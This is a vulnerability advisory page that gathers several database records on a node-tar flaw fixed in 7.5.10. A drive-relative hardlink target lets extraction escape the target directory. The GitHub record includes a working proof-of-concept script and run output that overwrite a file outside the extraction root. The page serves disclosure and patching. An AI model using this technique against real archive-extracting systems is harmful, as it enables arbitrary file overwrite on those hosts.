node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

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node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Source published

7 Mar 2026 15:32:22 UTC

Source modified

1 Sep 2026 12:05:00 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVSS 4.0 · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Source published

Mar 7, 2026, 3:32:22 PM (timezone not stated)

Source modified

Sep 1, 2026, 12:05:00 PM (timezone not stated)

Saved here

15 Nov 2026 09:29:44 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Source published

7 Mar 2026 16:15:55 UTC

Source modified

1 Sep 2026 13:18:36 UTC

Saved here

25 Oct 2026 07:19:08 UTC

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NIST NVD usage terms; underlying source attribution retained

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CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.3 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `[email protected]`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

Source published

5 Mar 2026 00:52:32 UTC

Source modified

10 Sep 2026 03:50:40 UTC

Saved here

24 Oct 2026 13:17:17 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

Publisher rating · HIGH